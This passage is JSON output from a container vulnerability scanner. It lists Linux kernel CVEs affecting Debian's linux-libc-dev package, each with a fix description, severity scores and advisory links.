"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/37c61b3745129cbd682c557b51345828120972e5", "https://git.kernel.org/stable/c/384b4dae14277d369221d187e9b3af56c79d2e50", "https://git.kernel.org/stable/c/6f46fc460e9316062bdcdf89199eb5d7a33da33b", "https://git.kernel.org/stable/c/75eec935444db4af2123e0491936f6e273d7ea00", "https://git.kernel.org/stable/c/79ffa99202c944467e28b13b513bf2998732edff", "https://git.kernel.org/stable/c/c9413b50204738fbc429bb86bf01353c393a6c28", "https://git.kernel.org/stable/c/e0ba936287dfe9783426aac27e5fd76fe35b38c9", "https://git.kernel.org/stable/c/ed246dd85ebf27c1f6b7897834d40786c0ca3006", "https://linux.oracle.com/cve/CVE-2026-74669.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082229-CVE-2026-74669-f574@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74669", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74669" ], "PublishedDate": "2026-08-22T16:16:40.827Z", "LastModifiedDate": "2026-10-16T20:17:51.09Z" }, { "VulnerabilityID": "CVE-2026-74705", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74705", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ffca5a8e1a38261451287b92c46b26b245283dedec16357ac69c715ac97436d6", "Title": "kernel: udp: fix potential use-after-free in tunnel segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: fix potential use-after-free in tunnel segmentation\n\n__skb_udp_tunnel_segment() gets the UDP header before ensuring the\ntunnel header is in the skb head. If the pull reallocates skb-\u003ehead,\nthe saved UDP header pointer is no longer valid.\n\nGet the UDP header after the pull to avoid a potential use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-74705", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-74705.mbox", "https://git.kernel.org/stable/c/19d89b13a43640b2da2f277ee462d919d988cb6f", "https://git.kernel.org/stable/c/1ae134c012e10384cdac420b5cc6e0615cde0b55", "https://git.kernel.org/stable/c/5161e67c561c4f28a5d9335a6e859b02511de92b", "https://git.kernel.org/stable/c/588d4a6795d99d080f74ef0b5f391ea8c453ae5d", "https://git.kernel.org/stable/c/64d322c288577793eedd352b96ef75234ed380fe", "https://git.kernel.org/stable/c/6a733a38b983d8c2e222f13968209010cf44de87", "https://git.kernel.org/stable/c/b3df61bb745eb5201eac22679a2839d4ccbf3442", "https://git.kernel.org/stable/c/d0f86fb36eb260abd10007b62c9dcc1028e03e61", "https://linux.oracle.com/cve/CVE-2026-74705.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74705", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74705" ], "PublishedDate": "2026-08-22T16:16:45.213Z", "LastModifiedDate": "2026-10-16T20:17:53.32Z" }, { "VulnerabilityID": "CVE-2026-74743", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74743", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7742393f3dc7792c3dbf6f523852dd4b21399fae50bf509eecef4ddf6ea036ae", "Title": "kernel: macvlan: inherit needed_headroom and needed_tailroom from lowerdev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacvlan: inherit needed_headroom and needed_tailroom from lowerdev\n\nmacvlan devices inherit hard_header_len from lowerdev during macvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying lowerdev requires extra headroom or tailroom for\nheaders/trailers (e.g. macsec, ipsec, wireguard, tunnels, or veth with rx\nheadroom), upper layers calculating packet headroom and tailroom fail to\nreserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / macvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from lowerdev in macvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached macvlans\n in macvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74743", "https://git.kernel.org/stable/c/28afc87bd8da0b3348bbbd834c8a89e83712cf5e", "https://git.kernel.org/stable/c/7b0eb3e0f363ca79a3af9efd2e87c6258f11da2b", "https://git.kernel.org/stable/c/8cd90e850e434577bf6774778657d26d6995e53f", "https://git.kernel.org/stable/c/8f6a05dbac05725e0786701eb04778c5bdbe4eaa", "https://git.kernel.org/stable/c/96fa90b74385b7f2b0d97251dd43d5ee6ca44668", "https://git.kernel.org/stable/c/bc9a00fb78e32bccc39d763bfd13a450705bac5d", "https://git.kernel.org/stable/c/c2ef3f134b069c54b9cc95cce1a16c38c4939336", "https://git.kernel.org/stable/c/cef51860becd9700217c81732ca1eb1ea6ed6fe1", "https://linux.oracle.com/cve/CVE-2026-74743.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74743-ba1f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74743", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74743" ], "PublishedDate": "2026-08-26T15:16:53.113Z", "LastModifiedDate": "2026-10-16T20:17:55.833Z" }, { "VulnerabilityID": "CVE-2026-74744", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74744", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e173f05878b7b509487a2931784c1ed40d2432a9b81604e51cdfc2489871cf2e", "Title": "kernel: ipvlan: inherit needed_headroom and needed_tailroom from phy_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvlan: inherit needed_headroom and needed_tailroom from phy_dev\n\nipvlan devices inherit hard_header_len from phy_dev during ipvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying phy_dev (or stacked lower device) requires extra headroom\nor tailroom for headers/trailers (e.g. macsec, ipsec, wireguard, tunnels, or\nveth with rx headroom), upper layers calculating packet headroom and tailroom\nfail to reserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / ipvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from phy_dev in ipvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached ipvlans\n in ipvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-74744", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/stable/c/5c2ca77212eb38559b0353b8363b7a84f4b019dd", "https://git.kernel.org/stable/c/5f33188457bbcc1b11ca87084037963c516ed3d9", "https://git.kernel.org/stable/c/af602c4d0ee548da18e2409b4b4da1079625a372", "https://git.kernel.org/stable/c/c0fbe31f6b20ade0465130685859faa5c86fda59", "https://git.kernel.org/stable/c/e16e960d55a40d36bd7c2494cc005e757dc9a1ef", "https://git.kernel.org/stable/c/f3c17ff65f54781cde696e16a6c577615ed735aa", "https://linux.oracle.com/cve/CVE-2026-74744.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74744-db6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74744", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74744" ], "PublishedDate": "2026-08-26T15:16:53.25Z", "LastModifiedDate": "2026-10-16T20:17:56Z" }, { "VulnerabilityID": "CVE-2026-74746", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74746", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b5ab91d2a7c9553ce09161728faadbd07cbe6bffcb9f1c9cd762e43ca7fdbe33", "Title": "kernel: netfilter: flowtable: publish GC-visible tuple last", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: publish GC-visible tuple last\n\nnf_flow_table_iterate() only treats original-direction tuple nodes as\nowning entries. Publishing the original node first lets GC observe and\nfree a flow while flow_offload_add() is still inserting the reply node.\nPublish the reply node first and the original node last so GC never\nsees a partially installed flow.\n\nKASAN can trigger slab-use-after-free read and write reports in the\nflowtable/rhashtable path (rht_deferred_worker, jhash, flow_offload_del,\nflow_offload_lookup, etc.).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74746", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/0a00254585827f1695aa2700114af622ea754cfa", "https://git.kernel.org/stable/c/2014ac62df9d45bb9a004a043e85df7be09ed780", "https://git.kernel.org/stable/c/211ee5d998d92a7d548811939c65942d06c146e4", "https://git.kernel.org/stable/c/972fdf7c4f5c282a239c88fea614b056c33dc025", "https://git.kernel.org/stable/c/be345dcbddb4643a54252b954af974b16eda8f91", "https://git.kernel.org/stable/c/d16b71231e65cb05daea2b45701fcf09cef041e7", "https://git.kernel.org/stable/c/d37917e7bebe078f3c17e47fd6fc1c9f6e8497b2", "https://git.kernel.org/stable/c/d9d3050a70efe217e73a0751e55fdae6a7092620", "https://linux.oracle.com/cve/CVE-2026-74746.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74746-c2f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74746", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74746" ], "PublishedDate": "2026-08-26T15:16:53.503Z", "LastModifiedDate": "2026-10-16T20:17:56.293Z" }, { "VulnerabilityID": "CVE-2026-74752", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74752", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b0f13218165b52bb2e05d0b9f96c6ec40afc8349db8195673d529627afa312e", "Title": "kernel: sctp: validate cookie AUTH state before use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: validate cookie AUTH state before use\n\nWhen cookie authentication is disabled, COOKIE_ECHO restores fixed-size\nAUTH fields directly from peer-controlled cookie bytes. A forged RANDOM\nlength, HMAC list, or CHUNKS list can then reach association consumers\nwith lengths or identifiers that were never validated against the local\nbacking arrays.\n\nA forged RANDOM length can cause out-of-bounds reads during key-vector\nconstruction. A forged HMAC identifier also caused a 32-byte write past\na zero-length AUTH chunk, providing a primitive for a local privilege\nescalation chain.\n\nValidate the cookie's RANDOM, HMACS, and CHUNKS parameters at the cookie\ntrust boundary before copying them into the association. Reject invalid\ntypes, malformed lengths, unsupported HMAC identifiers, HMAC lists\nwithout SHA1, and forbidden chunk ids.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74752", "https://bugzilla.redhat.com/2507721", 